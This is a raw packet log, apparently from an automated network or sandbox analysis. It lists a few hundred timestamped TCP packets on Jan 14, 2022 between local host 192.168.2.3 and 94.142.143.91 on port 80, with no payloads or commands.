Jan 14, 2022 04:59:39.992707968 CET	49846	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.022175074 CET	80	49845	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.048491001 CET	80	49846	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.050019979 CET	49846	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.050098896 CET	49846	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.050179958 CET	49846	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.105930090 CET	80	49846	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.105976105 CET	80	49846	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.132122040 CET	80	49846	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.132849932 CET	49846	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.133074999 CET	49846	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.161653042 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.188592911 CET	80	49846	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.217915058 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.219928026 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.220174074 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.283812046 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.283843040 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.283859015 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.283875942 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.283898115 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.283919096 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.283936977 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.284001112 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.284010887 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.284015894 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.284035921 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.284056902 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.284068108 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.284102917 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.340228081 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.340251923 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.340265989 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.340282917 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.340303898 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.340328932 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.340348959 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.340346098 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.340368986 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.340377092 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.340394020 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.340415955 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.340416908 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.340437889 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.340459108 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.340478897 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.340495110 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.340498924 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.340513945 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.340522051 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.340539932 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.340555906 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.340557098 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.340575933 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.340594053 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.340596914 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.340614080 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.340627909 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.340662956 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.398006916 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.398041964 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.398066998 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.398087978 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.398104906 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.398123980 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.398145914 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.398165941 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.398186922 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.398204088 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.398206949 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.398226976 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.398230076 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.398232937 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.398238897 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.398252010 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.398273945 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.398294926 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.398298979 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.398303032 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.398323059 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.398346901 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.398367882 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.398370981 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.398394108 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.398416042 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.398437977 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.398459911 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.398469925 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.398483992 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.398485899 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.398508072 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.398530006 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.398542881 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.398552895 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.398575068 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.398586035 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.398597956 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.398622990 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.398632050 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.398644924 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.398668051 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.398689032 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.398699045 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.398710012 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.398720026 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.398734093 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.398755074 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.398766041 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.398776054 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.398796082 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.398801088 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.398817062 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.398839951 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.398859978 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.398880005 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.398895025 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.398915052 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.455714941 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.455751896 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.455780983 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.455805063 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.455826044 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.455851078 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.455873013 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.455882072 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.455897093 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.455913067 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.455919027 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.455921888 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.455940962 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.455962896 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.455969095 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.455985069 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.456007957 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.456016064 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.456032038 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.456053019 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.456058979 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.456085920 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.456108093 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.456131935 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.456156015 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.456172943 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.456177950 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.456188917 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.456202030 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.456224918 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.456233978 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.456248045 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.456267118 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.456269979 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.456290960 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.456312895 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.456325054 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.456335068 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.456360102 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.456382990 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.456407070 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.456418037 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.456432104 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.456454992 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.456459999 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.456479073 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.456500053 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.456501007 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.456523895 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.456546068 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.456549883 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.456571102 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.456593990 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.456618071 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.456621885 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.456641912 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.456667900 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.456671000 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.456687927 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.456695080 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.456720114 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.456743956 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.456748009 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.456768990 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.456792116 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.456815004 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.456816912 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.456837893 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.456873894 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.456901073 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.513555050 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.513586998 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.513607025 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.513627052 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.513648987 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.513688087 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.513710976 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.513732910 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.513746023 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.513755083 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.513771057 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.513782024 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.513803005 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.513824940 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.513859987 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.513886929 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.513901949 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.513910055 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.513911963 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.513917923 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.513935089 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.513957977 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.513981104 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.513993025 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.513998032 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.514017105 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.514039993 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.514041901 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.514061928 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.514081955 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.514086008 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.514111042 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.514113903 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.514133930 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.514157057 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.514175892 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.514193058 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.514214039 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.514219046 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.514231920 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.514252901 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.514254093 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.514278889 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.514297009 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.514302015 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.514323950 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.514343977 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.514352083 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.514379978 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.514403105 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.514415026 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.514426947 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.514448881 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.514450073 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.514468908 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.514475107 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.514499903 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.514516115 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.514548063 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.514569998 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.514585972 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.514591932 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.514616013 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.514626980 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.514636993 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.514658928 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.514662981 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.514682055 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.514722109 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.562865019 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.570772886 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.570841074 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.570862055 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.570883036 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.570903063 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.570923090 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.570943117 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.570959091 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.570965052 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.570972919 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.570979118 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.570986986 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.571005106 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.571031094 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.571059942 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.571100950 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.571126938 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.571149111 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.571170092 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.571188927 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.571208954 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.571230888 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.571230888 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.571238995 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.571271896 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.571295977 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.571316004 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.571336985 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.571348906 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.571387053 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.571405888 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.571425915 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.571439028 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.571444988 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.571460962 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.571465969 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.571487904 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.571497917 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.571511030 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.571532011 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.571543932 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.571552992 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.571573973 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.571594000 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.571604013 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.571614027 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.571630001 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.571644068 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.571664095 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.571670055 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.571686029 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.571705103 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.571724892 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.571732998 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.571746111 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.571767092 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.571783066 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.571799994 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.571800947 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.571811914 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.571821928 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.571836948 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.571846962 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.571867943 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.571882010 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.571887970 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.571908951 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.571924925 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.573508024 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.619035006 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.619060993 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.619081974 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.619123936 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.628156900 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.628182888 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.628204107 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.628223896 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.628223896 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.628245115 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.628262997 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.628267050 CET	80	49848	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:40.628287077 CET	49848	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:40.628288031 CET	80	49848	94.142.143.91	192.168.2.3
